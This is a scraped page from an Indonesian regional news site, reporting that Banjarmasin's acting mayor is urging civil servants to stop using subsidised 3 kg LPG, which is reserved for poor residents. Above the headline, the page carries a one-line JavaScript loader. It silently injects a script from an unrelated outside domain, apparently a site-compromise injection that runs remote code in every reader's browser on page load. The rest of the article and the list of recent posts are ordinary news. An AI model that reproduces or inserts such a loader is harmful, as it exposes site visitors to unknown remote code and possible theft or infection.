(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

‘Haramkan’ ASN Pakai LPG 3 Kg, Plh Wali Kota Banjarmasin: Itu untuk Warga Miskin!


KANALKALIMANTAN.COM, BANJARMASIN – Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin ‘diharamkan’ menggunakan Liquefied Petroleum Gas (LPG) bersubsidi 3 kilogram (Kg).

Pelaksana Harian (Plh) Wali Kota Banjarmasin Mukhyar mengatakan, pihaknya akan kembali mengeluarkan imbauan kepada ASN agar tidak menggunakan LPG 3 Kg.

“Untuk kedepannya akan kami sampaikan edaran. Kami harapkan ASN yang memakai gas 3 kilogram tidak memakainya lagi,” ucapnya, Senin (22/2/2021).

Imbauan tersebut sejatinya memang sudah pernah diterbitkan Pemko Banjarmasin pada tahun 2017 lalu. “LPG 3 kilogram ini kan untuk warga miskin, jadi kita harapkan agar ASN tidak menggunakannya,” sebut Mukhyar.

Sejauh ini, memang Pemko Banjarmasin belum menemukan adanya laporan bahwa ASN lingkup Pemko Banjarmasin yang menggunakan gas subsidi khusus warga miskin itu.

“Kita belum mendapati adanya informasi itu, tetapi sejak 2017 imbauan itu sudah dikeluarkan. Kalaupun ada yang menggunakan kita akan memberikan sanksi,” tegasnya.

Gas bersubsidi 3 kilogram hanya diperuntukkan bagi masyarakat miskin itu, rupanya tak hanya dipergunakan warga tak mampu saja. Di lapangan tidak sedikit mereka yang mampu, juga menggunakannya. Bahkan ada dugaan bahwa dari kalangan ASN menikmati LPG bersubsidi tersebut.

Terkait hal ini, Ketua Himpunan Wiraswasta Nasional Minyak dan Gas Bumi (Hiswana Migas) Kalsel, H Saibani meminta agar ASN segera meninggalkan gas subsidi, beralih ke gas non subsidi, misalnya LPG 5,5 Kg atau 12 Kg.

“Kita tidak tutup mata, dan tidak bisa juga menyalahkan ASN ada yang memakai 3 kilohram, kami tidak bisa menindak. Cukup kesadaran saja, bahwa itu sebenarnya untuk masyarakat miskin,” ujar H Saibani.

Hiswana Migas Kalsel berharap Pemprov hingga Pemko maupun Pemkab kembali mengingatkan ASN agar segera meninggalkan LPG bersubsidi tersebut. (kanalkalimantan.com/rls)

 

Reporter : Rls
Editor : Kk

 

 


Al Ghifari

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

14 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

17 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

21 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

21 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

21 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

23 jam ago

This website uses cookies.